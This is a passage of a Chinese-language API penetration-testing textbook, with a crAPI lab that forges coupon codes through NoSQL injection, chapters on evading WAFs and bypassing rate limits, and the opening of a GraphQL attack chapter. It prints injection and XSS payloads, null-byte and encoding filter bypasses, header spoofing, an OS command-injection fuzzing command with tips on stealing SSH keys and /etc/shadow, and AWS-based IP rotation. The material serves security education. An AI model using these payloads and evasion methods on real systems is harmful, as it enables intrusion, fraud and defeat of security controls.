要使用 Wfuzz 执行此攻击,你可以手动提供命令列表,或将其作为字典文件提供。在下面的示例中,我将所有的命令分隔符保存在文件commandsep.txt中,操作系统命令保存在os-cmds.txt中:
$ **wfuzz -z file,wordlists/commandsep.txt -z file,wordlists/os-cmds.txt http://vulnerableAPI.com/api/users/query?=WFUZZWFUZ2Z**
要在 Burp Suite 中执行同样的攻击,你可以利用 Intruder 集群炸弹攻击。
我们将请求设置为登录的 POST 请求,并针对user参数。已为每个文件设置了两个有效载荷位置。查看结果,检查异常情况,比如返回 200 系列响应和突出显示的响应长度。
你决定如何使用操作系统命令注入完全取决于你。你可以获取 SSH 密钥、Linux 上的/etc/shadow密码文件等等。或者,你也可以进行权限提升或命令注入,获得一个完整的远程 Shell。无论如何,这就是你的 API 黑客技巧转变为普通黑客技巧的时刻,而且这个话题还有很多其他书籍可以参考。欲了解更多信息,请查看以下资源:
-
阅读手册: 红队作战手册(2013)作者:本·克拉克
-
渗透测试:黑客实战入门(No Starch Press,2014)作者:乔治亚·威德曼
-
伦理黑客:实战入门(No Starch Press,2021)作者:丹尼尔·格雷厄姆
-
高级渗透测试:破解世界上最安全的网络(Wiley,2017)作者:威尔·奥尔索普
-
动手黑客(Wiley,2020)作者:詹妮弗·阿库里和马修·希基
-
黑客剧本 3:渗透测试实用指南(Secure Planet,2018)作者:彼得·金
-
Shellcoder 手册:发现和利用安全漏洞(Wiley,2007)作者:克里斯·安利、费利克斯·林德纳、约翰·赫斯曼和赫拉尔多·里查特
总结
在本章中,我们使用模糊测试来检测几种类型的 API 注入漏洞。然后,我们回顾了这些漏洞可能被利用的各种方式。在下一章,你将学习如何规避常见的 API 安全控制。
实验#9:使用 NoSQL 注入伪造优惠券
是时候利用我们的新注入技巧来攻击 crAPI 了。但从哪里开始呢?好吧,我们还没有测试的一个功能是接受客户端输入的优惠券代码功能。别翻白眼——优惠券欺诈可是赚钱的!搜索 Robin Ramirez、Amiko Fountain 和 Marilyn Johnson,你就能知道他们是如何赚到 2500 万美元的。crAPI 可能正是下一个遭遇大规模优惠券诈骗的受害者。
使用经过身份验证的用户访问 Web 应用程序,我们可以在“商店”标签页中使用添加优惠券按钮。请输入一些测试数据到优惠券代码字段中,然后用 Burp Suite 拦截相应的请求(见图 12-3)。

图 12-3:crAPI 优惠券代码验证功能
在 Web 应用程序中,使用错误的优惠券代码进行优惠券代码验证会返回“无效的优惠券代码”响应。被拦截的请求应如下所示:
POST /community/api/v2/coupon/validate-coupon HTTP/1.1
Host: 192.168.195.130:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
`--snip--`
Content-Type: application/json
Authorization: Bearer Hapi.hacker.token
Connection: close
{"coupon_code":"TEST!"}
请注意 POST 请求体中的 "coupon_code" 值。若我们希望伪造优惠券,这似乎是一个很好的测试字段。让我们将请求发送到 Intruder,并在 TEST! 周围添加负载位置,以便对该优惠券值进行模糊测试。一旦设置了负载位置,我们就可以添加我们的注入模糊负载。尝试包括本章中涵盖的所有 SQL 和 NoSQL 负载。接下来,开始 Intruder 模糊测试攻击。
这次初步扫描的结果都显示相同的状态码(500)和响应长度(385),如图 12-4 所示。

图 12-4:Intruder 模糊测试结果
这里看起来没有异常。不过,我们应该调查请求和响应的具体情况。请参见列表 12-1 和 12-2。
POST /community/api/v2/coupon/validate-coupon HTTP/1.1
`--snip--`
{"coupon_code":"%7b$where%22%3a%22sleep(1000)%22%7d"}
列表 12-1:优惠券验证请求
HTTP/1.1 500 Internal Server Error
`--snip--`
{}
列表 12-2:优惠券验证响应
在查看结果时,您可能会注意到一些有趣的情况。选择其中一个结果并查看请求选项卡。请注意,我们发送的负载已被编码。这可能会干扰我们的注入攻击,因为编码后的数据可能无法被应用程序正确解释。在其他情况下,负载可能需要被编码,以帮助绕过安全控制,但现在我们需要找出这个问题的源头。在 Burp Suite Intruder 负载选项卡的底部,有一个选项可以 URL 编码某些字符。请取消选中该框,如图 12-5 所示,以便发送原始字符,然后重新发送一次攻击。

图 12-5:Burp Suite Intruder 的负载编码选项
现在请求应像列表 12-3 中所示,响应应像列表 12-4 中所示:
POST /community/api/v2/coupon/validate-coupon HTTP/1.1
`--snip--`
{"coupon_code":"{"$nin":[1]}"}"
列表 12-3:禁用 URL 编码的请求
HTTP/1.1 422 Unprocessable Entity
`--snip--`
{"error":"invalid character '$' after object key:value pair"}
列表 12-4:相应的响应
这一轮攻击确实产生了一些稍微更有趣的响应。请注意 422 Unprocessable Entity 状态码,以及详细的错误信息。这个状态码通常意味着请求的语法存在问题。
仔细查看我们的请求,你可能会注意到一个潜在问题:我们将载荷位置放置在了 Web 应用程序请求中生成的原始键/值引号内。我们应该尝试调整载荷位置,包含引号,以避免干扰嵌套对象的注入尝试。现在,Intruder 的载荷位置应如下所示:
{"coupon_code":§"TEST!"§}
再次发起更新后的 Intruder 攻击。这次我们收到了更有趣的结果,包括两个 200 状态码(见图 12-6)。

图 12-6:Burp Suite Intruder 结果
如你所见,两个注入载荷 {"$gt":""} 和 {"$nin":[1]} 导致了成功的响应。通过调查响应中的 $nin(不在)NoSQL 操作符,我们看到 API 请求返回了有效的优惠券代码。恭喜你成功执行了 API NoSQL 注入攻击!
有时注入漏洞是存在的,但你需要排查攻击尝试,以找到注入点。因此,确保分析你的请求和响应,并遵循详细错误信息中留下的线索。
第十四章:应用规避技术和速率限制测试

本章将介绍绕过或规避常见 API 安全控制的技术。然后,我们将应用这些规避技术来测试和绕过速率限制。
在测试几乎任何 API 时,你都会遇到一些安全控制措施,它们会妨碍你的进度。这些控制可能表现为扫描你请求的 WAF(Web 应用防火墙),对你发送的输入进行验证的输入验证,或者限制你能发送请求数量的速率限制。
由于 REST API 是无状态的,API 提供商必须找到有效的方式来追踪请求的来源,并利用这些细节来阻止攻击。正如你将很快看到的,如果我们能发现这些细节,我们通常可以欺骗 API。
绕过 API 安全控制
你可能遇到的一些环境中会有 Web 应用防火墙(WAF)和“人工智能” Skynet 机器监控网络流量,准备阻止你发送的任何异常请求。WAF 是最常见的 API 安全控制,旨在保护 API 免受攻击。WAF 本质上是一种软件,用于检查 API 请求中的恶意活动。它会衡量所有流量是否超过某个阈值,如果发现任何异常,就会采取行动。如果你注意到存在 WAF,你可以采取预防措施,以避免在与目标交互时被阻止。
安全控制是如何工作的
安全控制可能因 API 提供商的不同而有所不同,但从大体上看,它们会设置某个恶意活动的阈值,一旦超出该阈值就会触发反应。例如,WAF 就能通过多种方式触发:
-
对不存在的资源发送过多请求
-
在短时间内发送过多请求
-
常见的攻击尝试,如 SQL 注入和 XSS 攻击
-
异常行为,如授权漏洞测试
假设某个 WAF 对每一类请求的阈值是三次请求。在第四次看似恶意的请求时,WAF 会作出某种反应,无论是发送警告,通知 API 防守人员,监控你的活动,还是直接阻止你。例如,如果存在 WAF 并且它正常工作,像以下的常见攻击尝试(如注入攻击)将会触发反应:
-
' OR 1=1 -
admin' -
<script>alert('XSS')</script>
问题是,当 API 提供商的安全控制检测到这些信息时,它们如何阻止你?这些控制必须有某种方式来确定你是谁。归属是使用一些信息来唯一地识别攻击者及其请求。记住,RESTful API 是无状态的,所以任何用于归属的信息必须包含在请求中。这些信息通常包括你的 IP 地址、来源头部、授权令牌和元数据。元数据是由 API 防御者推断出的信息,例如请求的模式、请求的频率以及请求中头部的组合。
当然,更高级的产品可能会基于模式识别和异常行为来阻止你。例如,如果 99%的 API 用户按照特定方式发起请求,API 提供商可以使用一种技术来建立预期行为的基准,然后阻止任何异常请求。然而,一些 API 提供商可能不愿使用这些工具,因为它们有可能阻止那些偏离常规的潜在客户。在便利性和安全性之间,常常会存在拉锯战。
API 安全控制检测
检测 API 安全控制的最简单方法就是采用攻击性策略。如果你通过扫描、模糊测试和发送恶意请求来猛攻 API,你很快就能发现安全控制是否会妨碍你的测试。这个方法唯一的问题是,你可能只能学到一件事:那就是你被阻止了,无法再向主机发送任何请求。
我推荐你在采取攻击性策略之前,首先按照 API 设计的方式使用它。这样,你应该有机会在遇到麻烦之前理解应用程序的功能。你可以,例如,查看文档或构建一个有效请求的集合,然后以有效用户的身份绘制 API 地图。你还可以利用这个时间来检查 API 响应,以寻找 WAF 的迹象。WAF 的响应中通常会包含相关的头部信息。
还要注意请求或响应中的诸如X-CDN之类的头部信息,它们表示 API 正在利用内容分发网络(CDN)。CDN 通过缓存 API 提供商的请求,在全球范围内减少延迟。除此之外,CDN 通常还会提供 WAF 服务。通过 CDN 代理流量的 API 提供商通常会包括类似的头部信息:
-
X-CDN: Imperva -
X-CDN: Served-By-Zenedge -
X-CDN: fastly -
X-CDN: akamai -
X-CDN: Incapsula -
X-Kong-Proxy-Latency: 123 -
Server: Zenedge -
Server: Kestrel -
X-Zen-Fury -
X-Original-URI
检测 WAF(特别是 CDN 提供的 WAF)的一种方法是使用 Burp Suite 的 Proxy 和 Repeater 来观察你的请求是否被发送到代理。如果 302 响应将你转发到 CDN,那就表明可能是这种情况。
除了手动分析响应,你还可以使用 W3af、Wafw00f 或 Bypass WAF 等工具主动检测 WAF。Nmap 也有一个脚本可以帮助检测 WAF:
$ **nmap -p 80 –script http-waf-detect http://hapihacker.com**
一旦你发现了如何绕过 WAF 或其他安全控制,自动化你的绕过方法将有助于发送更大的有效载荷。在本章结束时,我将演示如何利用 Burp Suite 和 Wfuzz 中的功能来实现这一点。
使用临时账户
一旦你发现了 WAF 的存在,就该开始了解它如何对攻击作出响应。这意味着你需要建立 API 安全控制的基准,就像你在第九章模糊测试时建立的基准一样。为了进行这项测试,我建议使用临时账户。
临时账户是指你可以丢弃的账户或令牌,如果 API 防御机制封禁了你。这些账户可以使你的测试更加安全。其思路很简单:在进行攻击之前,先创建多个额外的账户,然后获取一份短的授权令牌列表,在测试过程中使用。当注册这些账户时,确保使用与你其他账户无关的信息。否则,聪明的 API 防御者或防御系统可能会收集你提供的数据,并将其与你创建的令牌关联起来。因此,如果注册过程要求提供电子邮件地址或全名,确保为每个账户使用不同的名字和电子邮件地址。根据你的目标,你甚至可能需要进一步采取措施,通过使用 VPN 或代理来伪装你的 IP 地址,以便注册账户。
理想情况下,你不需要浪费任何这些账户。如果你能在一开始就避免被检测,就不需要担心绕过控制,因此我们从这里开始。
规避技术
绕过安全控制是一个反复试验的过程。有些安全控制可能不会通过响应头部显示其存在,而是秘密等待你的失误。临时账户将帮助你识别哪些操作会触发响应,然后你可以尝试避免这些操作,或者使用下一个账户绕过检测。
以下措施可以有效绕过这些限制。
字符串终止符
空字节和其他符号组合通常作为字符串终止符,或者用作结束字符串的元字符。如果这些符号没有被过滤,它们可能会终止 API 安全控制过滤器。例如,当你成功发送一个空字节时,许多后端编程语言会将其解释为停止处理的标志。如果空字节被后端程序处理,并且该程序验证用户输入,那么该验证程序可能会被绕过,因为它会停止处理输入。
这是你可以使用的潜在字符串终止符列表:
-
%00 -
0x00 -
// -
; -
% -
! -
? -
[] -
%5B%5D -
%09 -
%0a -
%0b -
%0c -
%0e
字符串终止符可以放置在请求的不同部分,以尝试绕过任何现有的限制。例如,在以下对用户资料页面的 XSS 攻击中,输入的空字节负载可以绕过禁止脚本标签的过滤规则:
POST /api/v1/user/profile/update
`--snip--`
{
"uname": "<s**%00**cript>alert(1)**;**</s**%00**cript>"
"email": "hapi@hacker.com"
}
市面上一些字典可以用于一般的模糊测试尝试,例如 SecLists 的元字符列表(可以在 Fuzzing 目录下找到)和 Wfuzz 的坏字符列表(可以在 Injections 目录下找到)。在防御严密的环境中使用这样的字典时,要小心被封禁的风险。在敏感环境中,最好通过不同的临时账户缓慢测试元字符。你可以通过将元字符插入不同的攻击中,并查看独特的错误或其他异常,来向你正在测试的请求添加元字符。
大小写切换
有时,API 的安全控制非常简单。它们甚至可能愚蠢到只需要改变攻击负载中字符的大小写,就能绕过它们。尝试将一些字母大写,另一些保持小写。一次跨站脚本攻击可能变成这样:
<sCriPt>alert('supervuln')</scrIpT>
或者你可以尝试以下 SQL 注入请求:
SeLeCT * RoM all_tables
sELecT @@vErSion
如果防御系统使用规则来阻止某些攻击,改变大小写可能会绕过这些规则。
编码负载
为了将你的 WAF 绕过尝试提升到一个新层次,尝试编码负载。编码后的负载常常能够欺骗 WAF,同时仍然被目标应用程序或数据库处理。即使 WAF 或输入验证规则阻止某些字符或字符串,它也可能会忽略这些字符的编码版本。安全控制取决于分配给它们的资源;预测每种攻击是不现实的,API 提供商无法做到这一点。
Burp Suite 的 Decoder 模块非常适合快速编码和解码负载。只需输入你想要编码的负载并选择你想要的编码类型(参见图 13-1)。

图 13-1:Burp Suite Decoder
在大多数情况下,URL 编码最有可能被目标应用程序解释,但 HTML 编码或 base64 编码也常常有效。
在编码时,重点关注可能被阻止的字符,例如以下这些:
< > ( ) [ ] { } ; ' / \ |
你可以选择对负载的部分或整个负载进行编码。以下是编码后的 XSS 负载示例:
%3cscript%3ealert %28%27supervuln%27%28%3c%2fscript %3e
%3c%73%63%72%69%70%74%3ealert('supervuln')%3c%2f%73%63%72%69%70%74%3e
你甚至可以对 payload 进行双重编码。如果检查用户输入的安全控制执行了解码过程,而应用的后端服务执行第二轮解码,则双重编码的 payload 可能绕过安全控制的检测,之后传递到后端,在那里再次进行解码并处理。
使用 Burp Suite 自动化规避攻击
一旦你发现了绕过 WAF 的成功方法,就可以利用模糊测试工具中内置的功能来自动化你的规避攻击。我们从 Burp Suite 的 Intruder 开始。在 Intruder Payloads 选项下,有一个名为 Payload Processing 的部分,允许你添加规则,Burp 会在发送每个 payload 之前应用这些规则。
点击添加按钮会弹出一个界面,允许你为每个 payload 添加各种规则,例如前缀、后缀、编码、哈希和自定义输入(见图 13-2)。它还可以匹配并替换各种字符。

图 13-2:添加 Payload 处理规则界面
假设你发现通过在 URL 编码的 payload 前后添加一个空字节,可以绕过 WAF。你可以编辑字典文件以匹配这些要求,或者添加处理规则。
在我们的示例中,我们需要创建三条规则。Burp Suite 会按从上到下的顺序应用 payload 处理规则,因此,如果我们不希望空字节被编码,比如,我们需要首先对 payload 进行编码,然后再添加空字节。
第一条规则是对 payload 中的所有字符进行 URL 编码。选择编码规则类型,选择URL 编码所有字符选项,然后点击确定以添加该规则。第二条规则是在 payload 之前添加空字节。这可以通过选择添加前缀规则并将前缀设置为%00来完成。最后,创建一条规则,在 payload 后添加空字节。为此,使用添加后缀规则并将后缀设置为%00。如果你跟着操作,你的 payload 处理规则应该与图 13-3 一致。

图 13-3:Intruder 的 payload 处理选项
要测试你的 payload 处理,启动一次攻击并检查请求的 payload:
POST /api/v3/user?id=%00%75%6e%64%65%66%69%6e%65%64%00
POST /api/v3/user?id=%00%75%6e%64%65%66%00
POST /api/v3/user?id=%00%28%6e%75%6c%6c%29%00
检查攻击的 Payload 列,确保 payload 已经正确处理。
使用 Wfuzz 自动化规避攻击
Wfuzz 也具有很棒的 payload 处理功能。你可以在wfuzz.readthedocs.io的高级用法部分找到其 payload 处理文档。
如果你需要对有效负载进行编码,首先需要知道你想使用的编码器名称(参见表 13-1)。要查看所有 Wfuzz 编码器的列表,请使用以下命令:
$ **wfuzz -e encoders**
表 13-1:可用 Wfuzz 编码器示例
| 类别 | 名称 | 总结 |
|---|---|---|
| 哈希 | base64 |
使用 base64 对给定的字符串进行编码。 |
| URL | urlencode |
使用%xx转义替换字符串中的特殊字符。字母、数字和字符' _ . - '永远不会被转义。 |
| 默认 | random_upper |
将字符串中的随机字符替换为大写字母。 |
| 哈希 | md5 |
对给定的字符串应用 MD5 哈希。 |
| 默认 | none |
返回所有字符而不做任何更改。 |
| 默认 | hexlify |
将每个字节数据转换为相应的两位十六进制表示。 |
接下来,要使用编码器,请在有效负载后添加逗号并指定其名称:
$ **wfuzz -z file,wordlist/api/common.txt,base64 http://hapihacker.com/FUZZ**
在这个例子中,每个有效负载都会在发送请求之前进行 base64 编码。
编码器功能还可以与多个编码器一起使用。要让一个有效负载通过多个编码器在单独的请求中处理,使用连字符指定它们。例如,假设你指定了有效负载“a”并应用了如下编码:
$ **wfuzz -z list,a,base64-md5-none**
你将接收到一个 base64 编码的有效负载,一个通过 MD5 编码的有效负载,以及一个原始形式的有效负载(none编码表示“未编码”)。这将导致三个不同的有效负载。
如果你指定了三个有效负载,使用连字符连接三个编码器将会发送九个请求,如下所示:
$ **wfuzz -z list,a-b-c,base64-md5-none -u http://hapihacker.com/api/v2/FUZZ**
000000002: 404 0 L 2 W 155 Ch "0cc175b9c0f1b6a831c399e269772661"
000000005: 404 0 L 2 W 155 Ch "92eb5ffee6ae2fec3ad71c777531578f"
000000008: 404 0 L 2 W 155 Ch "4a8a08f09d37b73795649038408b5f33"
000000004: 404 0 L 2 W 127 Ch "Yg=="
000000009: 404 0 L 2 W 124 Ch "c"
000000003: 404 0 L 2 W 124 Ch "a"
000000007: 404 0 L 2 W 127 Ch "Yw=="
000000001: 404 0 L 2 W 127 Ch "YQ=="
000000006: 404 0 L 2 W 124 Ch "b"
如果你希望每个有效负载都由多个编码器处理,可以使用@符号分隔编码器:
$ **wfuzz -z list,aaaaa-bbbbb-ccccc,base64@random_upper -u http://192.168.195.130:8888/identity/api/auth/v2/FUZZ**
000000003: 404 0 L 2 W 131 Ch "Q0NDQ2M="
000000001: 404 0 L 2 W 131 Ch "QUFhQUE="
000000002: 404 0 L 2 W 131 Ch "YkJCYmI="
在这个例子中,Wfuzz 首先会对每个有效负载应用随机大写字母,然后对该有效负载进行 base64 编码。这样每个有效负载都会发送一个请求。
这些 Burp Suite 和 Wfuzz 选项将帮助你以不同的方式处理攻击,帮助你突破任何阻挡你前进的安全控制。要深入了解 WAF 绕过的话,我推荐你查看这个令人惊叹的 Awesome-WAF GitHub 仓库(github.com/0xInfection/Awesome-WAF),你会发现很多精彩的资料。
测试速率限制
现在你已经了解了几种规避技术,让我们用它们来测试 API 的速率限制。如果没有速率限制,API 用户可以随时请求他们想要的任何信息,且可以频繁请求。这样,提供方可能会增加与计算资源相关的额外费用,甚至可能成为拒绝服务(DoS)攻击的受害者。此外,API 提供方通常使用速率限制作为将 API 货币化的一种方式。因此,速率限制是黑客进行测试时的重要安全控制。
要识别速率限制,首先查阅 API 文档和市场推广资料,寻找相关信息。API 提供商可能会在其网站或 API 文档中公开其速率限制的详细信息。如果没有公开这些信息,可以检查 API 的头部。API 通常会包括以下头部,让你知道在违反限制之前还可以发送多少请求:
-
x-rate-limit: -
x-rate-limit-remaining:
其他 API 不会有任何速率限制指示符,但如果你超过了限制,你会发现自己被暂时封锁或禁止。你可能开始收到新的响应代码,例如 429 Too Many Requests。这些响应可能包含类似 Retry-After: 的头部,指示你何时可以提交额外的请求。
为了让速率限制生效,API 必须做对很多事情。这意味着攻击者只需找到系统中的一个弱点。像其他安全控制措施一样,速率限制只有在 API 提供商能够将请求归属于单个用户时才能生效,通常通过他们的 IP 地址、请求数据和元数据来实现。用于阻止攻击者的最明显因素是他们的 IP 地址和授权令牌。在 API 请求中,授权令牌作为身份的主要凭证,因此如果从某个令牌发送了过多的请求,它可能会被列入黑名单并被暂时或永久封禁。如果未使用令牌,WAF 可能会以相同方式处理某个 IP 地址。
测试速率限制有两种方法。一种是完全避免被速率限制。另一种是在被速率限制后绕过限制机制。我们将在本章的其余部分探讨这两种方法。
关于宽松的速率限制说明
当然,有些速率限制可能非常宽松,以至于你无需绕过它们就能进行攻击。假设速率限制设置为每分钟 15,000 次请求,而你想通过暴力破解 150,000 种不同的密码。你完全可以在 10 分钟内依次尝试每个可能的密码,保持在速率限制内。
在这些情况下,你只需要确保你的暴力破解速度不会超过这个限制。例如,我曾体验过 Wfuzz 在不到 24 秒的时间里达到每秒 10,000 次请求(即每秒 428 次请求)。在这种情况下,你需要限制 Wfuzz 的速度,以保持在这个限制内。使用 -t 选项可以指定并发连接数,而 -s 选项允许你指定请求之间的时间延迟。表 13-2 显示了可能的 Wfuzz -s 选项。
表 13-2:Wfuzz -s 选项用于请求速率限制
| 请求之间的延迟(秒) | 大致发送的请求次数 |
|---|---|
| 0.01 | 每秒 10 次 |
| 1 | 每秒 1 次 |
| 6 | 每分钟 10 次 |
| 60 | 每分钟 1 次 |
由于 Burp Suite CE 的 Intruder 设计上有速率限制,它提供了另一种保持在某些低速率限制内的好方法。如果你使用的是 Burp Suite Pro,请设置 Intruder 的资源池来限制请求发送的速率(参见图 13-4)。

图 13-4:Burp Suite Intruder 资源池
与 Wfuzz 不同,Intruder 以毫秒为单位计算延迟。因此,设置 100 毫秒的延迟将导致每秒发送 10 个请求。表 13-3 可以帮助你调整 Burp Suite Intruder 的资源池值,从而创建不同的延迟。
表 13-3:Burp Suite Intruder 资源池的请求延迟选项
| 请求之间的延迟(毫秒) | 大致请求次数 |
|---|---|
| 100 | 每秒 10 次 |
| 1000 | 每秒 1 次 |
| 6000 | 每分钟 10 次 |
| 60000 | 每分钟 1 次 |
如果你能够在不超过 API 速率限制的情况下攻击 API,那么你的攻击可以作为速率限制漏洞的演示。
在你继续绕过速率限制之前,确定消费者超出速率限制是否会面临任何后果。如果速率限制配置错误,超出限制可能不会造成任何后果。如果是这种情况,你已经找到了一个漏洞。
路径绕过
绕过速率限制的最简单方法之一是稍微修改 URL 路径。例如,尝试在请求中使用大小写切换或字符串终止符。假设你正在通过对以下 POST 请求中的uid参数进行 IDOR 攻击,针对一个社交媒体网站:
POST /api/myprofile
`--snip--`
{uid=§0001§}
该 API 可能允许每分钟 100 次请求,但根据uid值的长度,你知道要进行暴力破解,你需要发送 10,000 个请求。你可以在一个小时 40 分钟的时间内缓慢发送请求,或者尝试完全绕过这个限制。
如果你达到了该请求的速率限制,尝试通过字符串终止符或各种大小写字母修改 URL 路径,如下所示:
-
POST /api/myprofile%00 -
POST /api/myprofile%20 -
POST /api/myProfile -
POST /api/MyProfile -
POST /api/my-profile
这些路径变体可能会导致 API 提供者以不同的方式处理请求,可能绕过速率限制。你也可能通过在路径中包含无意义的参数来达到相同的结果:
POST /api/myprofile?test=1
如果无意义的参数导致请求成功,它可能会重新启动速率限制。在这种情况下,尝试在每个请求中更改参数的值。只需为无意义的参数添加一个新的负载位置,然后使用与要发送的请求数相同长度的数字列表:
POST /api/myprofile?test=**§1§**
`--snip--`
{uid=**§0001§}**
如果你使用 Burp Suite 的 Intruder 进行此攻击,你可以将攻击类型设置为 pitchfork,并且在两个负载位置使用相同的值。这种战术可以让你使用最少的请求数量来暴力破解 uid。
Origin 请求头伪造
一些 API 提供者使用请求头来实施速率限制。这些origin请求头告诉 web 服务器请求来源。如果客户端生成了 origin 请求头,我们可以操控它们以绕过速率限制。尝试在请求中包含常见的 origin 请求头,如下所示:
-
X-Forwarded-For -
X-Forwarded-Host -
X-Host -
X-Originating-IP -
X-Remote-IP -
X-Client-IP -
X-Remote-Addr
至于这些请求头的值,发挥你的对抗思维并创造性地尝试。你可以尝试包括私有 IP 地址、localhost IP 地址(127.0.0.1),或者与你的目标相关的 IP 地址。如果你做了足够的侦察,你可以使用目标攻击面中的其他 IP 地址。
接下来,尝试同时发送所有可能的 origin 请求头,或者将它们包含在单独的请求中。如果你同时包含所有请求头,可能会收到 431 Request Header Fields Too Large 状态码。在这种情况下,逐个请求地发送较少的请求头,直到成功。
除了 origin 请求头,API 防御者还可能会添加 User-Agent 请求头来归属请求给某个用户。User-Agent 请求头用于识别客户端浏览器、浏览器版本信息和客户端操作系统。以下是一个示例:
GET / HTTP/1.1
Host: example.com
**User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0**
有时,这个请求头会与其他请求头一起使用,以帮助识别并阻止攻击者。幸运的是,SecLists 包含了 User-Agent 字典文件,你可以在目录 seclists/Fuzzing/User-Agents 中找到它们,用来在请求中循环使用不同的值 (github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)。只需将负载位置添加到 User-Agent 值周围,并在每个请求中更新它。你也许能够绕过速率限制。
如果你成功了,你会看到 x-rate-limit 请求头重置,或者在被阻止后仍然能够成功发起请求。
在 Burp Suite 中轮换 IP 地址
一项可以彻底阻止模糊测试的安全措施是 WAF 的基于 IP 的限制。你可能会启动一个 API 扫描,结果发现你的 IP 地址被封锁。如果发生这种情况,你可以做出一些假设——即 WAF 包含某种逻辑,在短时间内收到多个错误请求时,会封禁请求的 IP 地址。
为了帮助破解基于 IP 的封锁,Rhino Security Labs 发布了一个 Burp Suite 扩展和指南,用于执行一种非常棒的规避技术。这个扩展叫做 IP Rotate,适用于 Burp Suite 社区版。要使用它,你需要一个 AWS 账户,通过该账户可以创建 IAM 用户。
从高层次来看,这个工具允许你通过 AWS API 网关代理你的流量,然后循环使用 IP 地址,使每个请求都来自一个独特的地址。这是下一代的规避技术,因为你没有伪造任何信息;相反,你的请求实际上来自 AWS 区域中的不同 IP 地址。
要安装该扩展,你需要一个名为 Boto3 的工具以及 Jython 实现的 Python 编程语言。要安装 Boto3,请使用以下pip3命令:
$ **pip3 install boto3**
接下来,从www.jython.org/download.html下载 Jython 独立文件。下载完成后,进入 Burp Suite 扩展选项,在 Python 环境下指定 Jython 独立文件,如图 13-5 所示。

图 13-5:Burp Suite 扩展选项
导航到 Burp Suite 扩展器的 BApp 商店,搜索 IP Rotate。现在你应该能够点击安装按钮(见图 13-6)。

图 13-6:BApp 商店中的 IP Rotate
登录到你的 AWS 管理账户后,导航到 IAM 服务页面。你可以通过搜索 IAM 或通过服务下拉选项来访问该页面(见图 13-7)。

图 13-7:找到 AWS IAM 服务
加载 IAM 服务页面后,点击添加用户,并创建一个选择了程序访问权限的用户账户(见图 13-8)。接着进入下一页。

图 13-8:AWS 设置用户详情页面
在设置权限页面,选择直接附加现有策略。接下来,通过搜索“API”来过滤策略。选择AmazonAPIGatewayAdministrator和AmazonAPIGatewayInvokeFullAccess权限,如图 13-9 所示。

图 13-9:AWS 设置权限页面
进入审核页面。不需要标签,您可以跳过这一步并创建用户。现在,您可以下载包含用户访问密钥和秘密访问密钥的 CSV 文件。一旦您拥有这两个密钥,打开 Burp Suite 并导航到 IP Rotate 模块(见图 13-10)。

图 13-10:Burp Suite 的 IP Rotate 模块
将您的访问密钥和秘密密钥复制并粘贴到相应的字段中。点击保存密钥按钮。当您准备好使用 IP Rotate 时,更新目标主机字段为您的目标 API,然后点击启用。请注意,您无需在目标主机字段中输入协议(HTTP 或 HTTPS)。相反,请使用目标协议按钮来指定 HTTP 或 HTTPS。
您可以做一个很酷的测试来查看 IP Rotate 的实际效果,指定ipchicken.com作为您的目标。(IPChicken 是一个显示您公共 IP 地址的网站,如图 13-11 所示。)然后,代理请求到ipchicken.com。转发该请求,并观察每次刷新ipchicken.com时,您的旋转 IP 如何被显示。

图 13-11:IPChicken
现在,单纯基于 IP 地址封锁您的安全控制将无力应对。
总结
在本章中,我讨论了您可以用来规避 API 安全控制的技巧。在发起全面攻击之前,务必作为最终用户收集尽可能多的信息。此外,如果您的账户被封禁,可以创建临时账户继续测试。
我们运用了规避技巧来测试最常见的 API 安全控制之一:速率限制。找到绕过速率限制的方法可以让您拥有一个无限的、全方位的攻击 API 的通行证,您可以用尽全力进行暴力攻击。在接下来的章节中,我们将应用本书中开发的技巧来攻击一个 GraphQL API。
第十五章:攻击 GraphQL

本章将指导你通过使用我们迄今为止介绍的 API 黑客技术,攻击 Damn Vulnerable GraphQL Application(DVGA)。我们将从主动侦察开始,过渡到 API 分析,并最终尝试对该应用进行各种攻击。
如你所见,我们在本书中一直使用的 RESTful API 与 GraphQL API 之间存在一些主要区别。我将引导你了解这些区别,并演示如何通过将现有的黑客技巧调整为 GraphQL,从而充分利用它们。在这个过程中,你将会感受到如何将你的新技能应用于新兴的 Web API 格式。
你应该将本章视为一个动手实验。如果你想跟着一起操作,确保你的黑客实验室包含 DVGA。有关设置 DVGA 的更多信息,请回到第五章。
GraphQL 请求与集成开发环境(IDE)
在第二章中,我们介绍了 GraphQL 的一些基本概念。在本节中,我们将讨论如何使用和攻击 GraphQL。在你继续操作时,请记住,GraphQL 更像 SQL 而不是 REST API。由于 GraphQL 是一种查询语言,因此使用它实际上就是对数据库进行查询,只是步骤更多一些。让我们看看清单 14-1 中的请求及其在清单 14-2 中的响应。
POST /v1/graphql
`--snip--`
query products (price: "10.00") {
name
price
}
清单 14-1:一个 GraphQL 请求
200 OK
{
"data": {
"products": [
{
"product_name": "Seat",
"price": "10.00",
"product_name": "Wheel",
"price": "10.00"
}]}
清单 14-2:一个 GraphQL 响应
与 REST API 不同,GraphQL API 不使用多个端点来表示资源的位置。相反,所有请求都使用 POST,并发送到一个单一的端点。请求体将包含查询和变更操作,以及请求的类型。
请记得在第二章中提到,GraphQL 的模式是数据组织的形式。模式由类型和字段组成。类型(query、mutation和subscription)是消费者与 GraphQL 交互的基本方法。尽管 REST API 使用 HTTP 请求方法 GET、POST、PUT 和 DELETE 来实现 CRUD(创建、读取、更新、删除)功能,GraphQL 则使用query(用于读取)和mutation(用于创建、更新和删除)。我们在本章中不会使用subscription,但它本质上是与 GraphQL 服务器建立的连接,允许消费者接收实时更新。实际上,你可以构建一个 GraphQL 请求,同时执行查询和变更操作,在单个请求中同时进行读写。
查询以对象类型开始。在我们的例子中,对象类型是products。对象类型包含一个或多个字段,提供有关该对象的数据,如我们例子中的name和price。GraphQL 查询还可以包含括号中的参数,帮助缩小你查找的字段范围。例如,我们示例请求中的参数指定消费者只想要价格为"10.00"的产品。
如你所见,GraphQL 对成功的查询做出了回应,并提供了请求的精确信息。许多 GraphQL API 都会对所有请求返回 HTTP 200 响应,不论查询是否成功。而使用 REST API 时,你会收到各种错误响应代码,而 GraphQL 通常会发送 200 响应,并在响应体中包含错误信息。
